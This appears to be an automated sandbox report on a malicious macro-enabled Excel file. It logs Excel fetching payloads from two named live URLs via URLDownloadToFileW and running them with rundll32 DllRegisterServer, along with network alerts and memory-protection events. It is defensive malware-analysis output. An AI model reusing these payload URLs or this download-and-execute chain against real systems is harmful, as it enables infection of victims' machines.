Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	April 23, 2021, 9:52 a.m.	April 23, 2021, 9:59 a.m.

Size	84.0KB
Type	Microsoft Excel 2007+
MD5	`bf83672739e7a17d2851279684a73ad0`
SHA256	`ffc19ad7e7ca30b50cde51fa7f09bfb6fa40c205b1fbf3e7a9ebfadb41d99304`
CRC32	`83B44B29`
ssdeep	`1536:X8uOH1evfA0RITTam373wn/dDuL7QQ64eyZJViW++poHnQx:ML1evWTj3EwXQQteyZJAW++4k`
Yara	None matched

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\catalog-1605517361.xlsm
1520
- rundll32.exe rundll32 ..\oepddl.igk1,DllRegisterServer
  9076
- rundll32.exe rundll32 ..\oepddl.igk2,DllRegisterServer
  8728

Name	Response	Post-Analysis Lookup
eletrocoghi.com.br	A 192.185.216.95	192.185.216.95
ozmontelectrical.com	A 162.144.12.242	162.144.12.242

IP Address	Status	Action
162.144.12.242	Active	Moloch
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch
192.185.216.95	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.185.216.95:443 -> 192.168.56.102:49809	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49808 -> 192.185.216.95:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49812 -> 162.144.12.242:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49806 -> 192.185.216.95:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 162.144.12.242:443 -> 192.168.56.102:49813	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49811 -> 162.144.12.242:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 23, 2021, 9:52 a.m.		1	1	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ April 23, 2021, 9:53 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25 rundll32+0x135c @ 0x9c135c rundll32+0x1901 @ 0x9c1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x76713ef4 registers.esp: 2751088 registers.edi: 0 registers.eax: 45255040 registers.ebp: 2751116 registers.edx: 1 registers.ebx: 0 registers.esi: 7523096 registers.ecx: 1915696604	1	0	0
__exception__ April 23, 2021, 9:52 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25 rundll32+0x135c @ 0x9c135c rundll32+0x1901 @ 0x9c1901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x76713ef4 registers.esp: 2815432 registers.edi: 0 registers.eax: 43092352 registers.ebp: 2815460 registers.edx: 1 registers.ebx: 0 registers.esi: 3197720 registers.ecx: 1915696604	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

April 23, 2021, 9:53 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25
rundll32+0x135c @ 0x9c135c
rundll32+0x1901 @ 0x9c1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x76713ef4
registers.esp: 2751088
registers.edi: 0
registers.eax: 45255040
registers.ebp: 2751116
registers.edx: 1
registers.ebx: 0
registers.esi: 7523096
registers.ecx: 1915696604

__exception__

April 23, 2021, 9:52 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25
rundll32+0x135c @ 0x9c135c
rundll32+0x1901 @ 0x9c1901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x76713ef4
registers.esp: 2815432
registers.edi: 0
registers.eax: 43092352
registers.ebp: 2815460
registers.edx: 1
registers.ebx: 0
registers.esi: 3197720
registers.ecx: 1915696604

Allocates read-write-execute memory (usually to unpack itself) (20 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70af1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73321000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e5e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73711000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05dc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05dc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05fc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2021, 9:52 a.m.	process_identifier: 1520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05fd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$catalog-1605517361.xlsm

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 23, 2021, 9:52 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000344 filepath: C:\Users\test22\AppData\Local\Temp\~$catalog-1605517361.xlsm desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$catalog-1605517361.xlsm create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW April 23, 2021, 9:52 a.m.	url: https://eletrocoghi.com.br/drms/fert.html stack_pivoted: 0 filepath_r: ..\oepddl.igk1 filepath: C:\Users\test22\oepddl.igk1		2148270085	0
URLDownloadToFileW April 23, 2021, 9:52 a.m.	url: https://ozmontelectrical.com/drms/fert.html stack_pivoted: 0 filepath_r: ..\oepddl.igk2 filepath: C:\Users\test22\oepddl.igk2		2148270085	0

One or more non-whitelisted processes were created (2 events)

parent_process	excel.exe				martian_process	rundll32 ..\oepddl.igk2,DllRegisterServer
parent_process	excel.exe				martian_process	rundll32 ..\oepddl.igk1,DllRegisterServer

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